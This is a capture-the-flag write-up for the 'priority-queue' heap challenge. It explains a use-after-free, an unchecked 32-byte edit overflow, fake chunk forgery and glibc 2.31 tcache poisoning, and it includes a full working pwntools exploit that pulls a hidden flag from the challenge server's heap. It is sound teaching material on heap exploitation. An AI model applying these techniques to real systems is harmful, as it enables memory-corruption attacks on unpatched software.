pwnfreehard

priority-queue

b01lersc

Task: a PIE binary implements a min-heap priority queue of heap-allocated strings, but it also mallocs the flag at startup and loses the pointer. Solution: combine a root use-after-free, a 32-byte heap overwrite, fake-chunk creation, and glibc 2.31 tcache poisoning to overlap the hidden flag allocation and print it.

$ ls tags/ techniques/
tcache_metadata_leakheap_layout_inferencefake_chunk_forgerytcache_poisoningoverlapping_allocationflag_recovery_from_heap

priority-queue — b01lersc (BCTF 2026)

Overview

ncat --ssl priority-queue.opus4-7.b01le.rs 8443

We are given a menu-driven priority queue of strings. At first glance it looks like a small heap challenge with insert, delete, peek, and edit operations. The important twist is in main(): the program opens flag.txt, allocates 100 bytes for it on the heap, reads the flag there, and then immediately loses the pointer.

So this is not a shell challenge. The goal is to recover an already allocated heap object that contains the flag.

The final exploit from solve.py uses three ideas:

  1. leak a heap pointer from freed 0x20 tcache entries,
  2. infer the hidden flag allocation from the stable startup allocation order,
  3. poison tcache to allocate a chunk overlapping flag_ptr - 0x20, then make puts() print through into the untouched flag string.

Files and environment

Relevant files:

  • chall — target binary
  • chall.c — source code
  • solve.py — working exploit
  • libc.so.6 — Debian GLIBC 2.31-13+deb11u13
  • Dockerfile — remote packaging

Binary protections:

  • PIE enabled
  • Partial RELRO
  • NX enabled
  • no stack canary

Allocator detail that matters most: the provided libc is glibc 2.31, so tcache has no safe-linking. That makes classic tcache poisoning practical once we can overwrite a freed chunk's next pointer.

Source analysis

The challenge source is short enough to understand fully.

Hidden flag allocation

At startup:

FILE *file = fopen("flag.txt", "r"); if (file) { char *flag = malloc(100); fgets(flag, 100, file); fclose(file); }

The flag is read into a heap chunk, but flag is a local variable and is never stored anywhere global. After main() continues, that heap object still exists, but the program has no reference to it anymore.

That means exploitation is about heap recovery, not code execution.

Queue representation

The queue is a min-heap of char * pointers:

char **array; int capacity; int size;

Insertion allocates strlen(buffer) + 1 bytes for each string and stores the pointer in array[size]. Heap order is maintained by move_up() and move_down(), both of which compare nodes with strcmp().

So the priority queue root is always the lexicographically smallest string.

This ordering matters a lot during exploitation, because all dangerous operations (delete, peek, edit) act on array[0], the current root. If we want to corrupt or read a particular chunk, we must keep that chunk as the smallest string at the right moment.

Vulnerability analysis

1. Use-after-free in delete()

void delete(void) { if (size == 0) { puts("Queue is empty!"); return; } puts(array[0]); free(array[0]); array[0] = array[--size]; move_down(0); }

The root node is freed immediately. After that, queue state is still updated based on the remaining entries. This alone is already risky because the root pointer was still actively part of the heap structure until the update completed.

In practice, the exploit uses repeated deletions and the queue reordering rules to put freed small chunks into tcache while keeping a controllable remaining root.

2. Unbounded root edit

void edit(void) { if (size == 0) { puts("Queue is empty!"); return; } puts("Message: "); read(fileno(stdin), array[0], 32); move_down(0); }

This is the main memory corruption primitive. edit() always writes 32 bytes into the current root chunk, with no check against the chunk's actual size.

For tiny queue entries such as one-character strings, insertion does:

malloc(strlen(buffer) + 1)

So a one-byte string like "a" allocates 2 user bytes, which becomes a 0x20 chunk on glibc 2.31. Writing 32 bytes into such a chunk is a strong heap overflow and also allows reading allocator metadata back later with puts().

3. Small-chunk behavior is ideal for tcache abuse

The exploit intentionally uses one-character strings. On this libc, those all live in the same 0x20 tcache bin. That gives two useful properties:

  • freed entries chain together through their user data,
  • later allocations of the same size predictably reuse those chunks.

Heap layout and initial leak

The exploit relies on a stable early allocation order:

  1. flag = malloc(100)
  2. array = calloc(8, sizeof(char *))
  3. first inserted 1-byte string
  4. second inserted 1-byte string
  5. third inserted 1-byte string

The local debugging helpers confirmed that this order is stable enough, and the distance from the third tiny chunk back to the hidden flag chunk is constant in the target layout:

flag_ptr = leaked_chunk - 0x100

Leaking a heap pointer from tcache

The first stage of solve.py is:

ins(io, b"c") ins(io, b"b") ins(io, b"a") dele(io) dele(io) edit(io, b"K" * 32) leak_out = peek(io) c_ptr = u64(leak_out[32:].split(b"\n", 1)[0].ljust(8, b"\x00")) flag_ptr = c_ptr - 0x100

Why this works:

  • Because the queue is a min-heap ordered by strcmp, inserting c, b, a puts a at the root.
  • Deleting twice frees two 0x20 chunks into tcache.
  • One remaining tiny root chunk is still editable and printable.
  • The 32-byte edit() overflows across chunk contents and lets peek() print past the nominal string boundary.
  • In freed 0x20 chunks, the user area contains tcache forward pointers, so the over-read reveals a heap pointer.

The leaked pointer corresponds to the third tiny chunk in the freed chain. From the known allocation order, the script infers the hidden flag location as c_ptr - 0x100.

Why priority-queue ordering matters

This challenge would be much easier with direct indexing, but the interface only exposes the root. That means exploitation is constrained by lexicographic ordering.

Two consequences matter:

  1. The chunk we want to edit must be the smallest string. After every corruption, move_down(0) runs again, so the content we write can change which pointer stays at the root.
  2. Free order is not arbitrary. delete() always removes the current smallest string, so if we want specific chunks placed into tcache in a useful order, we must choose contents so the queue frees them in the right sequence.

That is why the exploit uses carefully chosen one-byte labels like a, b, c, then later d, e, f, y, z, and so on. The names are not cosmetic; they control which pointer becomes root and therefore which real heap chunk the menu operation touches next.

Exploitation strategy

After leaking flag_ptr, the exploit builds an overlapping allocation and then poisons tcache.

Stage 1: prepare neighboring tiny chunks

The script allocates three more one-byte strings:

ins(io, b"e") ins(io, b"d") ins(io, b"f")

All of them are again 0x20 chunks.

Stage 2: forge a fake 0x30 chunk

The next three edits are the core heap-header corruption:

edit(io, b"A" * 16 + p64(0) + p64(0x31)) edit(io, b"z" * 16 + p64(0) + p64(0x31)) edit(io, b"y" * 8 + p64(0x21) + p64(0) + p64(0x21))

These 32-byte writes overflow out of one tiny chunk and into neighboring chunk metadata. The goal is to make glibc later believe one adjacent region is a valid 0x30-sized free chunk.

The important subtlety is that the overflow also reaches the next real chunk header. If we only forged the fake 0x30 size and left the following metadata damaged, glibc consistency checks would eventually fail when that next chunk was freed or reused.

So the exploit does two things at once:

  1. create the fake larger chunk needed for overlap,
  2. restore the next real chunk's header to a sane 0x21 value.

That repair step is why the final edit writes:

b"y" * 8 + p64(0x21) + p64(0) + p64(0x21)

It is not just corruption; it is controlled corruption with header repair. Without repairing the next real chunk, the allocator would crash before the poisoning stage.

Stage 3: free in queue-compatible order

The exploit then frees three chunks in the only order the priority queue allows:

dele(io) # fake-sized B / string 'e' dele(io) # real F / string 'f' dele(io) # real E / string starts with 'y'

Again, the queue ordering matters. We do not call free() on arbitrary pointers; we can only delete the smallest current string. The earlier content choices make this order compatible with both the queue logic and the desired tcache state.

After these frees, tcache contains entries that will let us first recover the forged 0x30 chunk and then overwrite a freed chunk's next pointer.

Stage 4: allocate overlap and poison tcache

Now the exploit allocates into the fake chunk and writes a forged tcache forward pointer:

target = flag_ptr - 0x20 target_low6 = p64(target)[:6] overlap = b"y" * 0x20 + target_low6 ins(io, overlap)

Because glibc 2.31 has no safe-linking, overwriting the freed chunk's next pointer is enough. The target is flag_ptr - 0x20, not flag_ptr itself, because malloc returns the user pointer after the chunk header. We want the next allocation to produce a chunk whose user area starts exactly where it can overlap the hidden flag allocation.

The script only writes the low 6 bytes of the pointer. On x86-64 Linux userland heaps, the high bytes are predictable enough for this setting, so that is sufficient.

There is one practical complication: some random low bytes are unusable because the input path involves scanf("%127s", ...) for inserts. Bytes such as NUL, newline, and whitespace-like terminators would break delivery. The exploit therefore retries remote sessions until target_low6 contains only acceptable bytes.

bad = set(b"\x00\x09\x0a\x0b\x0c\x0d\x20") if any(b in bad for b in target_low6): ... retry ...

Stage 5: land on the flag chunk and print through it

Once the poisoned tcache entry is in place, the script performs two more allocations:

ins(io, b"h") ins(io, b"!")

The first consumes the real tcache entry. The second returns a chunk at the poisoned target, i.e. at flag_ptr - 0x20.

Finally:

edit(io, b"Q" * 32) out = peek(io)

Why does this reveal the flag?

  • the forged chunk begins 0x20 bytes before the hidden flag buffer,
  • writing 32 bytes of Q fills exactly that prefix region,
  • puts() starts printing from the forged chunk's user pointer,
  • after the 32 Q bytes, the next bytes in memory are the untouched flag string,
  • so the output becomes QQQQ...QQQbctf{...} and the regex extracts the flag.

This is a nice end-state because it does not need code execution, libc leaks, or FILE-structure abuse. We just make the program print from a pointer that now overlaps the secret heap object.

Exploit script explanation

The full solve.py is compact because the exploit path is very direct.

Helper functions

  • ins() sends insert and a string
  • dele() sends delete
  • edit() sends raw bytes for the 32-byte overwrite
  • peek() prints the current root string

attempt() flow

  1. create c, b, a
  2. delete twice and leak a heap pointer from tcache metadata
  3. compute flag_ptr = c_ptr - 0x100
  4. reject unlucky targets whose low bytes contain scanf terminators
  5. allocate e, d, f
  6. corrupt chunk headers to create a fake 0x30 chunk and repair the next header
  7. free chunks in queue-compatible order
  8. allocate overlap and poison next to flag_ptr - 0x20
  9. allocate twice to land on the poisoned target
  10. write 32 Q bytes and call peek() to print into the flag

Why retries were necessary remotely

The exploit is mostly deterministic once the heap layout is known, but the chosen poisoned pointer must be injected through string-based input. Some target byte patterns include:

  • 0x00
  • newline
  • tab and other whitespace terminators
  • space

Those bytes would terminate scanf("%s") input early or otherwise prevent correct poisoning data from being stored. So the solver simply reconnects until the chosen heap address has usable low bytes.

Full working exploit

#!/usr/bin/env python3 from pwn import * import re import sys context.binary = ELF("./chall", checksec=False) context.log_level = "info" HOST = "priority-queue.opus4-7.b01le.rs" PORT = 8443 PROMPT = b"Operation (insert/delete/peek/edit/count/quit): \n" MSG = b"Message: \n" FLAG_RE = re.compile(rb"bctf\{[^\n]+\}") def start(): if args.LOCAL: return remote("127.0.0.1", 31337) return remote(HOST, PORT, ssl=True, sni=HOST) def ins(io, data: bytes): io.sendline(b"insert") io.sendafter(MSG, data + b"\n") io.recvuntil(PROMPT) def dele(io) -> bytes: io.sendline(b"delete") return io.recvuntil(PROMPT, drop=True) def edit(io, data: bytes): io.sendline(b"edit") io.sendafter(MSG, data) io.recvuntil(PROMPT) def peek(io) -> bytes: io.sendline(b"peek") return io.recvuntil(PROMPT, drop=True) def attempt(): io = start() try: io.recvuntil(PROMPT) # Stage 1: leak the third freed 0x20 chunk pointer from the tcache chain. ins(io, b"c") ins(io, b"b") ins(io, b"a") dele(io) dele(io) edit(io, b"K" * 32) leak_out = peek(io) c_ptr = u64(leak_out[32:].split(b"\n", 1)[0].ljust(8, b"\x00")) flag_ptr = c_ptr - 0x100 target = flag_ptr - 0x20 target_low6 = p64(target)[:6] bad = set(b"\x00\x09\x0a\x0b\x0c\x0d\x20") if any(b in bad for b in target_low6): log.warning(f"bad target bytes for {hex(target)}; retrying") io.close() return None log.info(f"c_ptr = {hex(c_ptr)}") log.info(f"flag_ptr = {hex(flag_ptr)}") log.info(f"target = {hex(target)}") # Stage 2: forge a fake 0x30 chunk at B and preserve F's header. ins(io, b"e") ins(io, b"d") ins(io, b"f") edit(io, b"A" * 16 + p64(0) + p64(0x31)) edit(io, b"z" * 16 + p64(0) + p64(0x31)) edit(io, b"y" * 8 + p64(0x21) + p64(0) + p64(0x21)) dele(io) # fake-sized B / string 'e' dele(io) # real F / string 'f' dele(io) # real E / string starts with 'y' # Stage 3: allocate the fake 0x30 chunk and poison E->next to target. overlap = b"y" * 0x20 + target_low6 assert len(overlap) == 0x26 ins(io, overlap) # Consume E, then get an allocation at target = flag-0x20. ins(io, b"h") ins(io, b"!") edit(io, b"Q" * 32) out = peek(io) m = FLAG_RE.search(out) io.close() return m.group(0).decode() if m else None except EOFError: io.close() return None def main(): tries = int(args.TRIES or 20) for i in range(1, tries + 1): log.info(f"attempt {i}/{tries}") flag = attempt() if flag: print(flag) return print("failed", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main()

Key indicators

Use this pattern when:

  • a program allocates secret data on the heap early and then loses the pointer,
  • only very small user chunks are exposed, making 0x20 tcache bins easy to fill and reuse,
  • a menu operation always edits or prints the root/current object, so object ordering becomes part of the exploit,
  • a fixed-size read writes far past the end of tiny heap strings,
  • the target libc is pre-safe-linking glibc, making tcache poisoning straightforward after a metadata overwrite.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups